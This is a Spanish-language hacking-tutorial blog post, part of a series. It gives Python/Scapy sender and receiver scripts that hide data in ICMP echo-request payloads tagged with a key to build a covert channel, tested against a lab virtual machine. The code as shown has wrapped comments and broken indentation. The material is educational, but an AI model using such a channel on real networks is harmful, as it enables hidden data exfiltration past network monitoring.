Por: Fabian Portantier / VIE, 22 / ABR / 2011

Escuela de Hacking: Covert Channels sobre ICMP con Python Scapy – Parte 2

Bienvenidos a esta segunda entrega del artículo, en la cual vamos a escribir una pequeña herramienta para probar el concepto de Covert Channels.

ACLARACIÓN

Soy usuario de Debian GNU/Linux, y todos los ejemplos de código van a estar escritos sobre esta plataforma. No deberían tener inconvenientes en implementar los códigos en otros sistemas Unix-Like. En caso de que utilicen Microsoft Windows, también van a poder hacerlos funcionar, aunque quizás con un poco más de esfuerzo. El código fuente incluye las explicaciones a modo de comentario, para que puedan copiarlo y pegarlo directamente, y puedan seguir de forma sencilla el desarrollo del programa.

Vamos a utilizar el lenguaje Python, con la librería Scapy. Para instalar Scapy, en el caso de Debian, el paquete se llama “python-scapy”, en el caso de RedHat, simplemente “scapy”.

Tendremos que desarrollar una herramienta que envíe los datos en paquetes ICMP, y otra pequeña herramienta que pueda recibirlos. Si bien pueden correr las dos herramientas en la misma máquina, recomiendo utilizar máquinas diferentes (aunque sean virtuales) para poder replicar correctamente un ambiente real y evitar cierto tipo de problemas que podemos llegar a tener al enviar y recibir paquetes por la misma interfaz de red.

El código para enviar datos:

======================================================================

#!/usr/bin/python
# pcc (portantier covert channel) - Envio de datos

# definimos que solamente se debe alertar ante un error
# esto evita que recibamos alertas que no nos importan por ahora
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

# importamos las librerias necesarias
from scapy.all import *

# construimos la capa 3 del paquete (IP)
l3 = IP()
l3.dst = "172.16.66.128"

# construimos la capa 4 del paquete (ICMP)
l4 = ICMP()

# definimos el resto de las variables
key = "12345678" # con esta clave vamos a diferenciar
nuestros paquetes de los otros paquetes ICMP que van a llegar al host"
msgsize = 12 # como vamos a dividir el mensaje en partes,
aqui definimos el tamano de cada parte
#payload = "" # declaramos la variable 'payload'
que vamos a utilizar mas adelante

data = "Estos son los datos que vamos a enviar a traves del canal encubierto."

# las variables 'first', 'last' y 'count' las vamos a utilizar
para el proceso de cada parte del mensaje
first = 0
last = (msgsize)
count = (len(data)/msgsize)+1

# entramos en un bucle en el cual vamos a enviar un paquete
para cada trozo de datos
for a in range(0, count):
     print "Enviando la parte %s de %s ... (%s)" %(a + 1, count, data[first:last])

     payload = key + data[first:last]

     # ensamblamos el paquete
       (las capas que no definimos son definidas automaticamente por scapy)
     pkt = l3/l4/payload

        # enviamos el paquete
        a = sr(pkt, verbose = 0, retry = 0, timeout = 1)

        first += msgsize
        last += msgsize

print "Se han terminado de enviar los datos"

======================================================================

El código para recibir datos:
======================================================================

#!/usr/bin/python
# pcc (portantier covert channel) - receiver

# definimos que solamente se debe alertar ante un error
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

# importamos las librerias necesarias
from scapy.all import *

# definimos la funcion que se va a llamar en la llegada de cada paquete
def monitor_callback(pkt):
    # filtramos solamente los paquetes que sean ICMP del tipo 'echo-request' ( tipo 8 )
    # y que contengan la clave que definimos en la 1er herramienta '12345678'
    if ICMP in pkt and pkt[ICMP].type == 8 and pkt[ICMP].load[0:8] == "12345678":
            # abrimos el archivo 'received.txt' y escribimos los datos recibidos
            f = open('received.txt', 'a')
            data = pkt[ICMP].load[8:]
            print >>f, data,
            f.close()

            print data

# termina la definicion de la funcion, y empieza el programa principal

print "Esperando la llegada de los paquetes..."

# empezamos a escuchar en la interfaz definida en 'eth0'
# la interfaz deberemos ajustarla de acuerdo a nuestro sistema
pkts = sniff(iface="eth0", prn=monitor_callback)

======================================================================

Como podemos ver, el código es bastante sencillo en ambos casos. Si sacamos los comentarios son apenas un par de líneas.

Abajo copio un screenshot de la ejecución del programa ‘envia_datos.py’ en mi laptop, que tiene como destino una máquina virtual corriendo en VMWare Player.

Algunas particularidades a tener en cuenta

– La variable ‘key’, que define una clave para que podamos filtrar los paquetes que nos interesan es muy importante. Si no utilizamos este método, vamos a tenerminar procesando cualquier paquete ICMP echo-request que nos llegue, lo cual es algo muy común, teniendo en cuenta que es el tipo de paquetes que usan muchas herramientas de red.

– Dividir el mensaje en partes nos va a servir para hacer los paquetes más pequeños.

En el posible caso de que tengamos problemas para ejecutar los códigos, por favor, verifiquen que hayan copiado todo EXACTAMENTE como está aquí. Además, verifiquen el entorno de pruebas que están utilizando y la documentación, tanto de Scapy, como de Python. Si les quedan dudas, pueden consultarlas a través de los comentarios.

Aclaro que este programa se puede mejorar en muchísimos aspectos, pero esto haría que se extendiera la complejidad y la cantidad de código, así que vamos a dejar esas mejoras para una tercera parte del artículo. Si, va a haber una tercera parte!  😉

Además, en la próxima entrega vamos a analizar muy brevemente otros métodos para implementar covert channels.

Para más información:

ICMP: http://es.wikipedia.org/wiki/Internet_Control_Message_Protocol
Python: http://www.python.org
Scapy: http://www.secdev.org/projects/scapy/

Hasta la semana que viene!

Fabian Portantier
www.portantier.com

¡Comparte esta noticia!